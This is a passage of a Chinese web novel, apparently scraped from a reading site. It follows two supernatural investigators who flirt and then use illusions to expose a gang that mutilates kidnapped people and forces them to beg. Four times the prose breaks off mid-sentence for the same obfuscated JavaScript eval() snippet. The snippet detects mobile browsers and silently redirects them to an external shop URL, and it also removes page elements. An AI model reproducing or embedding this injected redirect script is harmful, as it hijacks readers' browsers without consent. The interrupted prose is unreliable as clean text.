“你虽然长得比较刚毅,但心那么软,我就正好相反,虽然长得看起来比较柔弱,但心硬着呢。”独孤尽握住春渐满的手放在自己心口,“但再硬的心,碰到喜欢的人也会柔软。” “停!”春渐满实在听不得这种甜言蜜语,他见独孤尽还要再张嘴,伸手捂了上去。 挺用力的,一点儿也没手下留情,是捂犯人的捂。 独孤尽想作妖都作不了,他只能去掰春渐满的手指,边掰边摇头。 “不胡说了?”春渐满不放心,又问了一遍。 独孤尽继续摇头,摇得跟拨浪鼓似的。 可就在春渐满松手的一瞬,独孤尽冲他咧嘴一笑,“我说得都是肺腑之言,不是胡说。” “好了好了,不说这个了,反正你知道我意思了。”独孤尽见春渐满又要冲他下手,立马求饶。 “我在想,我的这个情劫要怎么渡,既然现在我喜欢上你都没能让我恢复记忆,让我重返天庭,那就说明,这个情劫还没渡。”独孤尽这回说得是正事,可春渐满听得还是臊得慌。 “但这个情劫肯定不是让我对你始乱终弃,或者让我对感情看淡,我猜啊,只是我猜,满哥你别生气。” “你喊我什么?!”春渐满还是第一次听人这么叫他,他不太相信自己的耳朵,非得再确认一次不可。 “满哥啊,我都跟你表白了,肯定不能喊你小弟了啊,还是你喜欢我叫你春警官?春老师?还是……春大总裁?”独孤尽越说眼里的笑意越深,因为他看到了春渐满越发生动的表情出现在那张严肃的脸上。 “不然喊你满弟弟?”独孤尽想起来,自己如果以前是天上的,那他的年龄肯定比春渐满要大。 “先不说前面几个称呼,春大总裁是什么意思?”春渐满实在不觉得自己会跟这个称呼扯上边。 “春大总裁贵人多忘事啊,刚给我谈了笔生意,现在就忘了?”独孤尽提醒春渐满,“那生意可不是谁都能谈的,谈成了自然就是大总裁了。” “夸张。”春渐满变了杯茶出来,喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688995|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口润了润嗓子,“那这弟弟又是怎么回事,我可比你大。” “既然如此,就喊你满哥了。”独孤尽笑嘻嘻凑过去在春渐满脸上亲了一口。 “你?!”春渐满不敢置信,他还没答应独孤尽的表白,独孤尽怎么能直接默认,干这种事,“我没答应你!” “答应我什么?答不答应需要说出来吗?我都知道了。”独孤尽想到之前神兽们的反应,已经确信了春渐满也是喜欢他的。 “你知道什么?你什么都不知道。”春渐满实在恼怒,他没忍住扬手要把茶水泼到独孤尽身上。 但这可是在画里,泼出去的水,是会消失的。 独孤尽连手都没抬,只是一个念头,那些原本要将他浇个一头一脸的水就变成了蒸汽,升腾飘散了。 “好,我什么都不知道,别生气了满哥。”独孤尽重新像个可怜小狗一样蹭着春渐满的颈窝。 他那头发很好摸,春渐满鬼使神差还撸了两把,撸完才反应过来,又要将独孤尽推开。 “说正事呢,满哥别推我了。”独孤尽这回是拿正事来堵春渐满的嘴,“我在想,这个既然是情劫,那一定是在我们之间出现的,那要如何让它快点出现呢?一定是我们要多相处,所以,我决定在隔壁建一整条休闲娱乐街,等会儿我们就去那边约会。” “最好是今天约了,明天也约,这样,情劫出现的概率会提升不少。”独孤尽说完认真端详了一下春渐满,见他虽然恼怒,却是实实在在考虑着“正事”,心下又欢喜起来。 不管春渐满为的是正事还是私事,反正都跟他有关,这才是真的满心满眼都是他。 就在独孤尽美滋滋的时候,春渐满又在纸上写写画画起来,“这是约会计划,如果没有触发劫难,那就上强度,像这样……” 独孤尽凑过去看着纸上特别简陋的绘画,好一会儿才看懂春渐满画的是什么。 “你管这个叫姿色尚佳的美人?要他去破坏我们的感情,让感情拥有考验?”独孤尽有点不敢相信春渐满真打算把谈恋爱这件事变成一件公事。 甚至,有点儿像工作了。 “不要迟到。”春渐满提醒独孤尽。 “不会迟到,这点你放心。”独孤尽这会儿有点儿心累了,他一定要在这众多的约会计划里挑出几个可用的。 “不如就不要前几天了,从第七天开始。”独孤尽觉得第七天的约会更像平时他们见面一样。 “不准迟到。”春渐满再次提醒独孤尽,他觉得独孤尽会睡过头,毕竟第七天的约会是从早上六点开始的。 需要一方完成早餐的准备,一同吃早餐,另一方洗碗收拾厨余,随后再出门完成任务。 “我们做什么任务呢?”现在画可都没给他布置任务。 “我今天回来前,这边的警方请我帮个忙,我应下了。”春渐满的目光落到远处,“说是乞讨的人特别多,有些管不过来了,让我们帮着查查,是不是有隐情。” 99. 第二间房里的囚徒 “乞讨的人多是怎么回事?”独孤尽知道有些犯罪团伙是扎根很深的,会进行一些人口买卖,当然,这不是简简单单的人口买卖,而是敲断了人家的手脚,或者做成畸形,让他们去街上乞讨。 有很多旧城区仍旧有这样的人在乞讨,或多或少能获得一些怜悯,被施舍,可这些人,并不见得是自己受伤后失去了求生能力,没办法出来乞讨,而是被迫失去了求生能力,被迫出来乞讨。 如果乞讨不到,便会受到责罚,□□上会变得更糟糕。 独孤尽知道,现在已经很少有这样的人出现,毕竟管的严,查的严,而且,现在是高技术时代,乞讨的方式也变得多样化了,在大马路上乞讨哪里有开直播乞讨来得打赏多。 在大马路上只能碰到身边那个区域的人,时间久了,都认识了,也不会有人天天施舍,还容易被管理,教育,可现在的直播平台管理宽泛,有谁规定残疾人不能直播吗?没有,那是歧视。 除了帅哥美女直播最吸引眼球外,有些人爱心泛滥,对宠物、对残疾人,有着非一般的关注,只要营造一种自食其力的感觉,就能赚的盆满钵满,当然,赚的人是这些人背后的…… 按理说,在这种时代背景下,街上不可能出现很多乞讨者,这确实奇怪。 不仅影响市容市貌,还会关系到评定文明城市,春渐满被人拜托帮这个忙倒是无可厚非。 “走吧,去看看。”独孤尽朝春渐满伸出手,春渐满看了一眼,不太想把自己的手放上去,他还真不习惯。 “满哥不好意思了?”独孤尽冲他眨了眨眼睛,嘴角向上扬了不止一个度。 春渐满犹豫半晌,还是把手放了上去。 “这就对了。”独孤尽脸上的笑意都不用藏,快感染的路旁的花都开了。 只不过两人在画里呆的没有时间概念,出去后,街道上只有零星几人,大部分都已经在家里进入梦乡了。 “这个点,没法查。”春渐满有些僵硬地转了转手腕,这种手上还拖着一个人的感觉,太怪了,他都不敢乱动。 “手酸了?满哥这么紧张啊。”独孤尽好笑地牵住春渐满的手举到眼前晃了晃,还往上面吹了口气,“放松点,我又不会吃了你。” “你这手上握过的重要东西多了吧?还怕握我这只手?”独孤尽跟他掰扯,“像是救人民群众于水火的武器,像是别人的生命,像是……我?” “你怎么就重要了?”春渐满觉得独孤尽那股自恋劲儿又上来了。 “我当然重要,如果我真的有义务对这个世界做点儿什么,那我就很重要。”独孤尽丝毫不提自己之前想罢工的事。 “让我看看你的脸皮到底有多厚。”春渐满伸手上去捏了捏。 “故意挣脱是吧?你倒是捏。”独孤尽根本不介意春渐满对他动手动脚,还微微低下了脑袋,让春渐满能够摸得更舒服。 原本真是狠狠捏着那脸颊,可到后面就有点儿变意思了,春渐满的手指揩过独孤尽的脸庞,拽了一下他的耳垂,“不听话。” “我怎么就不听话了,冤枉啊,我可是最听满哥话了。” “让你别这么叫我,你非这么叫。”春渐满收回手,来回捻着指尖,上面残留的温度有点儿烫。 “看来还是喜欢我叫你春老师、春警官?”独孤尽叹了口气,捧着春渐满的脸,又往上亲了一口。 “随便你怎么叫吧,别动手动脚。”春渐满退了一步,他可以接受独孤尽随意称呼他,但是不能接受独孤尽动不动就是一个亲亲,一个抱抱。 “好好好,知道我们春老师脸皮薄,我把我的脸皮分你点。”独孤尽指了指自己的脸,又往春渐满脸上戳了戳。 “言归正传,我倒是觉得这个点查反而能查到点儿平时看不到的东□□孤尽趁春渐满要生气前赶忙转移了话题。 春渐满狐疑地看了他一眼。 “你想啊,平时他们都在行动,正是演戏的时候,那演技肯定超绝,不然也不能在那些非法分子手下讨生活,讨不了生活的那些估计早就不在人世了,留下来的这批肯定非同凡响。”独孤尽跟春渐满一点点掰开说。 “可是晚上不一样,街上没几个人了,他们也收工了,这个时候会和他们碰头的人是谁?不是幕后大黑手,那也是跟幕后之人有关系的。” “所以,我们只要能找到那么一两个乞讨的,就能顺藤摸瓜找到其中一个兔子洞。” “分头?”春渐满左右看了下,并未看到乞讨之人,想必,有大部分都已经回去了,不会等着他们来查。 “分头?春警官真薄情啊,找到了人记得通知我。”独孤尽拿出自己的手机晃了晃。 “注意安全。”春渐满没管独孤尽的调侃,只是拍了拍他的肩。 夜晚总是可怕的,昏暗的街道里究竟藏着怎样的蛇蝎,没人知道,可他们必须独自前往,深入其中。 独孤尽对这些已经习惯了,春渐满同样,他们走过太多荆棘丛,即便浑身浴血,也会往前。 独孤尽仗着自己能够感知周围的人,总能控制着距离,远远观察,可一连好几个,都不是他要找的人。 倒是春渐满的运气比较好,他无法感知周围的人,却直接撞上了。 他看了眼对方残缺的身体,从口袋里摸着现金,谁知对方看他动作,直接掏出了二维码,“可以直接扫码,谢谢谢谢。” 能扫码,那说明这些人不怕被查,否则,只要通过社交软件的实名认证,就能查到线索。 春渐满本着能多一条线索就多一条的想法,扫了二十块钱过去。 “谢谢,您好人有好报,一生平安!”那人说完就双手撑着板子,往别处去了。 春渐满上前帮他推了两把板子,“你住哪,我送你,快一点。” 他只是装作自己是热心人,可那人却不敢让他推,连忙拒绝,“不用不用,别脏了您的手,我自己回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688996|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就行了。” “那你慢点儿。”春渐满没再坚持,他只是盯着瞧了会儿,就往旁边的路牌看了一眼,又走了两步,拿出手机,给独孤尽发了个消息。 独孤尽过来时,避开了其他行人,他用短信安抚了春渐满,告诉他,没人盯着他。 也许这些人在这片区域乞讨已经有一阵了,背后的人很放心,也不用在远处盯着。 按理说,这是个很好的机会,他们大可以把人解救过来,可考虑到某些极端情况,两人都没行动。 “怎么样?停了吗?”春渐满跟着独孤尽慢慢往前挪步子,独孤尽的能力简直就是追踪利器,既不用害怕螳螂捕蝉黄雀在后,也不用怕跟的太近被人发现,跟的太远把人跟丢。 “没,还没到。” “春警官别急,估计要走好一会儿。”独孤尽觉得这人推得不紧不慢,不像快到地方的感觉,一般人看到家近了,想回家的会不由自主加快速度,不想回家的则会放缓步调,但这人没这反应。 春渐满挣了挣自己的手,“我不急,就是想快点活动活动手腕。” 独孤尽低头看了一眼,许是还没习惯,春渐满的手还很僵硬,保持着一个动作。 “算了,再牵着,等会儿你手该麻了。”独孤尽松开手。 “已经麻了。”春渐满甩甩手臂。 “你是不是不喜欢我?”独孤尽想不明白了,自己发现喜欢上的时候,就想跟春渐满亲近,怎么他不是这个反应,是不是误判了。 “先查案。”春渐满不想在紧要关头回答一些私人问题。 “诶,我说,我要是没这身本事,你是不是就不会喜欢我了?你喜欢我是不是因为我能辅助你破案?”独孤尽觉得自己像个工具人。 “破案不好吗?”春渐满却没正面回答他。 “破案好啊,能为人民声张正义,可这跟你喜不喜欢我没关系啊。” “是啊,破案跟我喜欢不喜欢你没关系。”春渐满盯了独孤尽一眼。 独孤尽一时间没咋摸出味儿来,好一会儿才反应过来,这是变相承认喜欢他了。 “春警官,我发现你这个人怎么这么别扭,说句喜欢有那么难吗?”独孤尽脸上是乐呵的,他的嘴角都快咧到耳朵根了。 “那专心破案有这么难吗?快跟着,人到哪儿了?”春渐满没好气地拍了独孤尽的脑袋一记。 “停了!就在前面那个路口右拐的第二间房。”独孤尽闭上眼睛认真辨认了一下。 独孤尽抬了抬手,还是熟悉的水汽,令人耳朵疼的水压,蔓延过了那第二间房,以及周围一片。 “恐怕附近还有他们的兔子洞。”独孤尽警惕地看了看周围,那第二间房里人数有点多,不会有哪家子那么多人口住一起的。 绝对有问题! “要跟你那边的人说一声吗?”独孤尽问春渐满要不要通知警方。 “晚点,我们自己先探一探。” 100. 蟒蛇 既然已经是“怪奇诊所”的范围,独孤尽决定制造一些非同寻常的恐怖场景,把那些有问题的人诈得四处逃窜。 而那些逃不了的,估计就是真正的受害者了。 他把这个想法跟春渐满一说,春渐满没有异议,他还记得第一次见独孤尽时的场景,那真的很诡异。 此时,第二间房里也不太平,最后回来的那人正在被询问。 “老高,怎么回来这么晚?”屋里有个看起来身体健全的人拿着铁签子走过来,细看,才能发现他的手指断了几根,也不健全。 “路上遇到个好心人,想推我回来,我绕了路。” “难得啊,这年头还有这么热心的人,没被人拍吧?”他怀疑有人作秀,开了直播或者拍摄视频。 “没,我绕了会儿,就把人甩了。”老高滑着板子,往里去,乞讨了一天他也累了,要洗洗歇了。 “啊!”可就在这时,他发现眼前的景象变得极其恐怖,也极其不真实。 大家常用的淋浴喷头竟然变成了张着血盆大口的蟒蛇。 触手时那滑腻冰冷坚硬的触感太真实,不像做梦。 “怎么了怎么了?”好多人都听到了老高的惨叫,可过去询问的只有那位能正常行走的。 “别过来!有蛇!”老高继续大喊。 “你还怕蛇?我们这是老房子,有几条家蛇那是护宅的,你可别打了,不能打的。” “不是家蛇!是蟒蛇!!!”老高声嘶力竭,他一身冷汗,手悄悄松开,试图滑着板子往后退。 但既然淋浴喷头已经变成了蟒蛇,哪里会像个死物一样一动不动,这蟒蛇张着血盆大口就往老高脑袋上咬。 老高伸手抱住蛇头,继续大喊,“救命!我抓住它了!快过来帮忙!” 屋里唯一行动便利的那人冲进浴室,他还没能帮忙抓蛇就被门槛绊了一下,“什么东西?!” 这屋里根本就不该有门槛,他会被什么东西绊住?! 低头一瞧,他恨不能把自己的眼睛闭上,那是一具半人半骷髅的东西,血淋淋的手正抓着他的脚踝。 “老高!我来帮你!”他准备自欺欺人,假装自己没发现。 可他走到老高跟前时,看到老高奋力抓着个淋浴喷头在那挣扎。 “你干嘛呢,抓着淋浴喷头乱喊。”他伸手接过淋浴喷头,把老高的手从上面掰开。 可这一幕在老高眼里却极其惊悚,他们万哥居然徒手那么轻巧地制服了蟒蛇,还把蟒蛇挂了起来。 “万哥!感谢您救我一命!”同样老高的眼里也看不见抓着万义蒋脚踝的那只手。 老高的事解决了,但万义蒋的那只手还缠在他脚上呢,他一脑门子的汗却不敢声张。 他凑近老高,几乎用的是气声,“你看到我脚上了吗?” 老高不明所以,他本就没了腿,又坐在板子上,离万义蒋的脚很近,他的脸是贴着那不人不鬼的东西过去的,“好像有只蚊子。” “哪有蚊子?!”万义蒋甩了甩脚,这动作刺激了那令人头皮发麻的东西,竟顺着他的脚踝往上爬,爬上了他的背脊,最后挂在了他的肩膀上。 “老高,你真什么也没看见?!”万义蒋有些忍不住了,他现在背脊都汗湿了,他才应该冲澡,可他现在这样走路都困难。 “看,看见了,你把蟒蛇挂在那。”老高指了指高处。 “哪有蟒蛇!”万义蒋恨到一半,反应过来了,他们应该是互相看不见对方眼里能看见的。 怎么会这样呢,之前从来没这样过。 难不成他们今天吃了什么不该吃的菌子,中毒了?! 这是万义蒋唯一能猜到的可能性,可他们今天除了早上一起吃的,中午和晚上都出工去了,根本没一起吃,怎么可能中了同样的毒。 早上也是和大家一起吃的,没道理就他们两人中毒。 万义蒋刚想到这里,屋里的其他人也突然乱作一团。 “啊啊啊啊!好大一只眼睛!别过来!别过来!” “救命!救命!怎么会有人这么大的蠕虫!” “先救我!着火了!!!” “快!快躲开!铡刀要掉下来了!” 似乎,每个人眼里看到的恐怖东西都不一样,令他们恐惧的,都不一样。 “老高,我们一定是中毒了,早餐,快想想,今天早上我们吃了什么。”万义蒋没再管自己脚上那恐怖的东西,他一把抓住老高的肩膀,“快!想想!” “吃,吃了,没吃啥啊,就吃了几个包子。”他们一直在附近的包子铺买的早饭。 “谁会给我们下毒?”老高想不明白,“我们全都中毒了。” “不一定,可能有人没中毒,是装的。”万义蒋立马想到了这茬,他拿了块毛巾把一脑门子的汗擦了擦,背上他擦不了,他现在背上正趴着那玩意儿,他就算再想把这些当成中毒的幻觉,也做不到。 毕竟……这幻觉太真实了! 他们确实中了幻觉,只不过这幻觉出自独孤尽之手,自然足够以假乱真,不过这只是第一步,既然没把他们吓出家门,那就要继续加深幻觉。 “不好!真的起火了!”万义蒋原本以为每个人都是幻觉,可真当火燎到他的脚底板时,他拽着老高就往外走。 堂屋里的一众人能一瘸一拐走的都往外跳了起来,腿脚比平时灵活了不止一倍,毕竟,逃命的时候,潜力无穷。 但像老高这样双腿都没了的,只能靠着双手滑板,尽力朝外跑,可板子是木头的,火又极其容易燎到木头,他们的前行很困难。 万义蒋不可能让这么多人手折在屋里,他把老高推到堂屋后,又回了浴室,他打开淋浴喷头,朝外面淋了点水,可很快他发现火烧得比他淋水快得多。 只能把水开着,他也跟着大家往外跑。 “去老屋!”万义蒋喊了一句。 既然这边的据点毁了,那就只能先去老屋了。 老屋离这不远,就隔了几个屋子。 独孤尽在暗处,看到一众人都跑出来,还不够,继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688997|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续让火燎着了大门,才罢休。 这会儿和春渐满从后门溜进了根本就没着火的据点。 “来吧,春警官,你的老本行,收集证据吧。”独孤尽做了个请的姿势,脸上笑意不减。 明明,刚做过让大家惊恐的事,他却毫不在意。 “幸好,我们不是敌人。”春渐满感慨了一句,穿上手套、脚套,拿着手机拍摄现场。 “什么话,我们是恋人,怎么会是敌人呢。”独孤尽学着春渐满的样子,把自己一键装备好,甚至还分给了春渐满个口罩。 “我不能戴口罩,会减弱嗅觉,错过信息。”春渐满摆摆手,谢过了独孤尽的好意。 独孤尽也不好就自己戴着口罩,他给自己施了个幻觉,让这间陈旧的屋子里充满柠檬的清新气味。 “你过来。”春渐满似乎发现了什么不得了的东西,他脸上神情凝重。 独孤尽走过去看着春渐满从冰柜里把一包东西取了出来。 那东西乍一看吓人,且不能细看,因为比他的幻觉吓人得多。 是一截人体。 “看起来,是刚被剁下来没多久的,谁的腿。”春渐满把东西先放回冰柜,他脱掉手套,拿出手机拨打了同事的电话。 “对,就在北顺街,这里是……”春渐满看了独孤尽一眼,独孤尽心领神会,“425号。” “北顺街425号,你们悄悄带人过来,走后门,别打草惊蛇。”春渐满又嘱咐了一句。 “好!谢谢兄弟单位,帮我们大忙了。”电话那边感谢完,又提了一句,“帮我们再拖延点时间,我们需要请示上级。” “知道。”春渐满明白手续的麻烦,毕竟不是谁都有他那样的好师父,能让他先斩后奏。 “看着点外面,别让他们回来了。”春渐满提醒独孤尽,独孤尽点头,他时刻关注着那些人的动向呢。 在那些人眼里,火势越来越旺,恐有朝着旁边蔓延的趋势,他们想自己想办法灭火,还很怕有人看见叫了救火队。 他们房子里可有太多见不得人的东西了,如果被叫了救火队,就瞒不住了。 那些人在着急,春渐满也在着急,毕竟,一时半刻他们这边的人也来不了,春渐满只能把所有的地方都拍摄下来,录像有,照片也有,每个角落都仔仔细细地搜查了。 “你这是为别人打工,哪里是还人情。”独孤尽无奈地一心两用,他嘴上抱怨着,可活没少干。 “多余的人情,下次有事还能让他们还。”春渐满也不傻,他兢兢业业把手头的事情办完,就在后门口等着人来。 可左等右等,等得天上的月亮都移位了,人也没来,反倒是那边的人等不及了,要来救火了。 独孤尽没办法,只能将火幻化成了岩浆的模样,且这幻境太真实,有人把铁丢进岩浆里,瞬间融化,这下,那些人终于不敢乱动了。 彻底傻眼了。 他们也发现哪里不对了,这火烧成这样,都没蔓延到旁边去,也没有别人报警,出来围观。 101. 火龙燎人 “这中毒幻觉这么厉害的吗?你们谁去碰碰岩浆?”如果是幻觉的话,就不是真的,连同岩浆吞噬了东西都是假的。 “我们可没和你们一起吃早餐!”老屋的人叫嚷着。 “难不成你们吃了别家铺子?”他们太了解彼此,这街上就一家早餐铺,不会有人舍近求远去别的地方买早餐,谁也没那个心思。 说白了,在这里的人都不是享受生活的人,他们光活下去就很不容易了。 “这倒是没有,你的意思,那家铺子给每个人都下了毒?可为什么只有我们看这房子是着火的,旁人看就没事?住这里的谁不是吃的这家。” “不知道,说不定是专门针对我们的,不然你怎么解释现在这情况,不能是我们每个人都疯了吧?”万义蒋虽然受了惊吓,但他是负责人,总不能躲着,只能冒头分析。 “总要有人进去试试真假。” “你们自己进去,我们老屋是来给你们帮忙的,可不能折了。” “小树,你进去试试。”万义蒋逡巡了一圈,随手点了个只缺了一条腿,拄着拐杖蹦跶的小年轻。 “哥!我,我不敢,那铁疙瘩进去都融了,我进去不连骨灰都不剩了。”他虽然不怕死,可能活,谁又愿意死呢。 “我去!”万义蒋梗着脖子往前走了一步。 此时此刻,没人敢出声阻拦,他们怕自己一出声,就会被抓变成替死鬼,毕竟他们原本也跟这里的人没有一丝一毫感情,都是被迫做这个行当。 万义蒋一步一步朝前蹭着,越靠近热浪就越燎人,这绝对不是寻常的幻觉。 他现在恨不能自己有一头飘逸的长发,那样就能让头发先替他试试。 前脚迈进岩浆中时,他甚至还没反应过来,双臂就被人拖着往后倒了下去。 几秒过后,是钻心之痛,他的一只脚融了! “这不是幻觉!怎么办?!报警吧!”有人慌乱起来,他们看着越来越高的火舌,还有那地上往外蔓延的岩浆,眼皮一跳一跳,害怕得紧。 他们没一个人是干净的,如果要遭报应的话,应该会全军覆没。 “这是天谴!报警有什么用?!”万义蒋倒抽着冷气,忍着剧痛一字一句吼出来。 “我们,我们做什么惹天愤怒的事了吗?我们,我们只是为了活下来啊!”有人看着自己残缺的肢体,木讷地感叹。 “难道我们这样的人,连活都不配活吗?!” “闭嘴!有空在这里怨天尤人,还不快接了水管过来灭火!”万义蒋看了眼自己焦黑的伤口,这伤口得处理,不然他也会死。 “小树,你过来,帮我把伤口处理一下,止血!”万义蒋不敢去医院,如果去医院,这种程度的烧伤肯定会被问询,也许这种幻觉对旁人不起作用,他们可以旁若无人登堂入室,看到他们那些不能宣之于众的罪孽。 小树经常处理伤口,为了保住大家的命,他苦学过一段时间的临床医学,尤其是外伤该怎么处理。 可这烧伤太严重了,比他们断肢还危险。 烧伤最怕的就是感染,他的手开始发抖,有些恨刚刚自己退缩没去淌岩浆了,如果他刚刚直接冲进岩浆里,说不定疼都不疼,直接融了,也不用再在这里受罪。 可他面临生死关头的时候,还是想活着,想活着。 小树咬紧了下唇,迫使自己的手不再颤抖,手起刀落,利落地处理起创面,这熟练程度比有些外科圣手都来得强。 万义蒋疼得一度晕死过去,又痛得醒了过来。 每次醒来,眼前通天的火光都不灭,他就恨不能再晕一会儿。 “左哥,怎么办,万哥那个样子,也没法主持大局了。”老屋的人已经接了水管过来,可这水是白白在喂火,浇下去升起一阵热气,就蒸发了。 “从那边火势小的地方开始浇!”左志眼尖,看到房屋后头好像火不大。 独孤尽在屋里时刻关注着这帮人的动态呢,哪能让他们摸到后门来,当即加大了火势,阻挠了他们往后绕到路。 “真是见了鬼了,难不成这火能听懂人说话不成?!刚才一直没往那边去,怎么我们一说要从那边下手,它就燃得那么旺了?!” “从顶上往下淋,把梯子架到旁边哪几户人家上!”左志也懵了,可他现在还要指挥,不能让这种恐慌情绪继续蔓延,否则必酿成大祸。 这里的人看似一家人一样,实则没一个人心是靠在一起的,每个人都是他们骗回来的,有很多都是好心人,送他们回家就被扣下了,卸了腿,毁了容,只能跟他们一样,干起这种行当。 之前很长一段时间他们都在偏僻的地方开着直播,赚取大家的同情,可最近,听说发生了大事,需要他们这些小罗罗出来挡一挡。 但万哥和左哥商议了,不能就这样轻易丧了命,他们能讨得一条命不容易,蝼蚁聚集起来还能倾覆一间大厦呢,他们也不会就这样轻易赴死。 这也就是他们虽然频繁出现,却从来不会被人抓住,不会被人发现自己聚集在哪的原因。 可上面知道了他们的抗议后,反而变本加厉,要求一周一定要多拉一个人入伙,这连着一个月,已经损失了四个正常人。 他们最无可恕,可他们就只想活下来,赖活着,顾不了别的了。 现在降下天谴,他们也觉得不公。 “春警官,你那兄弟单位是不是不想查?拿你当枪使呢?”这左等右等也没等来人,独孤尽不免阴谋论起来。 他的幻境是好用,甚至隔壁家的都不会听到什么,连在外面那一大帮子人也会和空气一样,他们既碰不到也看不到,可只要到早上,早餐铺的人没见到老主顾,街坊邻居没看到他们,再是幻觉也会破。 “我催一下。”春渐满看了眼时间,虽然深夜要办好手续困难重重,但既然他们都找人帮忙了,肯定明白事情的严重性,事先就该跟领导把事情都交代清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688998|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,该出警的时候能及时出警。 “你跟他们说,我们再给他们半个小时,再不过来,就别过来了。”独孤尽的火气上来,他可是心心念念要跟春渐满约会的,谁打扰他们,耽误时间都是罪过。 春渐满自然不知道独孤尽都在想些什么花花,他的电话打了一遍又一遍,就是没打通。 “不行,我得去看看,是不是出什么意外了。”春渐满觉得事情向着他们没料到的方向发展了。 “我陪……” “我自己去,你在这边看好这些人。”春渐满制止了独孤尽,这边不能没有独孤尽的“怪奇诊所”,否则一切就功亏一篑了。 “有危险记得……” “我记得,有危险不管会不会被人看到,直接回画里。”春渐满冲独孤尽露出一个安抚意味十足的笑,甚至还在与他擦肩而过时,贴了贴独孤尽的脸侧。 独孤尽这下算是被哄好了,他摸着脸颊,刚才那种柔软的触感太美好了,美好到他足以忘记这屋子的冰柜里还有断肢。 他原地蹦了几圈,心思也活跃了,既然外面那帮人都觉得自己是中毒产生了幻觉,那他就让他们的幻觉更有趣一些。 “左哥!你快看!!!”有人诧异地指向根本浇不灭的火苗。 左志顺着眯眼望过去,看到了一条火龙,那龙虽浑身是火组成的,却生动之极,神态不怒自威。 只是远远望了一眼,左志就像是被施了定身咒一样。 “快跑!!回老屋!!”再一眼,那火龙竟然挣脱了其他火焰,跃在空中冲他们过来了。 且不管这是幻觉还是天谴,他们都要向着微弱的希望搏一搏。 万义蒋被人丢在地上,他的断肢接触到地面,立马渗出血来,痛得他咬紧了牙关。 他是这些人里残疾较轻的,也是恶事做得最早,做得最多的,他知道断指之痛,却没想到,断腿是这般凶险。 以往也有死了的,可这痛楚不落到自己身上,总是没法感同身受的。 “害人啊!害人!”即便当初也是为了求生,可终究是做了太多错事。 独孤尽在屋里可不管屋外地鬼哭狼嚎,他也没打算装作好人去救一下万义蒋,反正,等“怪奇诊所”退了,这万义蒋的断肢也会回归他的身体,纵使他在“怪奇诊所”痛得死了过去,之后也能苏醒。 这些痛楚,是他们该得的教训,吃就吃了。 独孤尽不想让自己的沙发落在这片脏臭的土地,只能腾在空中,他恨不能给自己全身消个毒再躺下,但执行任务,没那么好的条件,只能勉强合衣躺了下来。 另一边,警局正乱成一锅粥,有个更大的案子绊住了他们的手脚,现下正在争论人员分配的问题,究竟该不该出这个警,该出多少人,该谁去。 春渐满到的时候,众人都没空招呼他,他只能自己找了人去问。 “断肢还在冰箱里,不多派几个人,可扣不尽他们。” 102. 失踪的孩子 “春警官,我们实在腾不出人手,有个重要人物的孩子失踪了。”帮过春渐满忙的警察脸上都是焦急,他叹了口气,把春渐满拉到墙角,压低了声音,“我怀疑,只是怀疑啊,这两件事有重大联系。” “不知道是不想让我们找到那个重要的孩子,还是不想让我们查乞讨者,又或者,双方牵制,让我们哪边都查不好,讨不了好。” “这招真的太高了,不知道是谁在后面出谋划策,要出大事了。”警察满脸歉意地看着春渐满,是他找人来帮忙的,可这会儿他真的没办法调集足够的人手跟春渐满过去现场。 “那我让你盯的人?”春渐满怕他们已经把人手喊回来了,那才是真的要出大事。 “盯着呢,那边的人我没动,你放心。” “行,这样,你看可不可以,等等你去申请一下,我那边证据收集得差不多了,该拍的,该留证的,我都弄好了,就差人去把那些冰冻的肢体带回来检验,你找些人,先去那边把事情处理了,我跟你再帮着一起去找失踪的孩子。”春渐满想了下,他那边的事情,加上路上时间,快一点,左不过一个多小时就能解决。 只要肢体回了队里,送去检验,那接下来就是检验科的事了,这部分人手就可以全部用上,去找那个重要的孩子。 “好,我去申请一下。” 